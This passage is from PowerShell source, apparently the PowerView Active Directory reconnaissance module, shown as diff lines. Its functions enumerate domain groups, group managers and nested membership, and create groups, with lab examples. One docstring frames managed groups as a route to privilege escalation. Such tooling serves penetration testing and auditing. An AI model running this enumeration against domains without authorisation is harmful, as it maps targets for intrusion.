'(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + $Group = Convert-LDAPProperty -Properties $_.Properties + } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" + } + } + $GroupSearcher.dispose() + } + } + } +} + + +function New-DomainGroup { +<# +.SYNOPSIS + +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER Name + +Specifies the name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the group to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' + +Creates the 'TestGroup' group with the specified description. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.GroupPrincipal +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity + + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } + + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } + } +} + + +function Get-DomainManagedSecurityGroup { +<# +.SYNOPSIS + +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +.DESCRIPTION + +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +Store a list of all security groups with managers in group-managers.csv + +.OUTPUTS + +PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + else { + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + # Write-Host "GroupManager: $GroupManager" + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup + } + } +} + + +function Get-DomainGroupMember { +<# +.SYNOPSIS + +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Recurse + +Switch. If the group member is a group, recursively try to query its members as well. + +.PARAMETER RecurseUsingMatchingRule + +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMember "Desktop Admins" + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +'Desktop Admins' | Get-DomainGroupMember -Recurse + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember + +.EXAMPLE + +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($GroupSearcher) { + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments + + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" + } + else { + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} + } + $Null = $SearcherArguments.Remove('Raw') + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" + try { + $Result = $GroupSearcher.FindOne() + } + catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" + $Members = @() + } + + $GroupFoundName = '' + $GroupFoundDN = '' + + if ($Result) { + $Members = $Result.properties.item('member') + + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! + $Finished = $False + $Bottom = 0 + $Top = 0 + + while (-not $Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + + if ($Members.count -eq 0) { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + $Members += $Result.Properties.item($RangedProperty) + } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + } + } + + ForEach ($Member in $Members) { + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties + } + + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN + + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) + } + else { + $MemberSID = $Null + } + + try { + $MemberDN = $Properties.distinguishedname[0] + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { + try { + if (-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn[0] + } + } + + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') + $GroupMember + + # if we're doing manual recursion + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments + } + } + } + $GroupSearcher.dispose() + } + } +} + + +function Get-DomainGroupMemberDeleted { +<# +.SYNOPSIS + +Returns information on group members that were removed from the specified +group identity. Accomplished by searching the linked attribute replication +metadata for the group using Get-DomainObjectLinkedAttributeHistory. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectLinkedAttributeHistory + +.DESCRIPTION + +Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute +replication metadata for the specified group. These are cases where the +'Version' attribute of group member in the replication metadata is even. + +.PARAMETER Identity 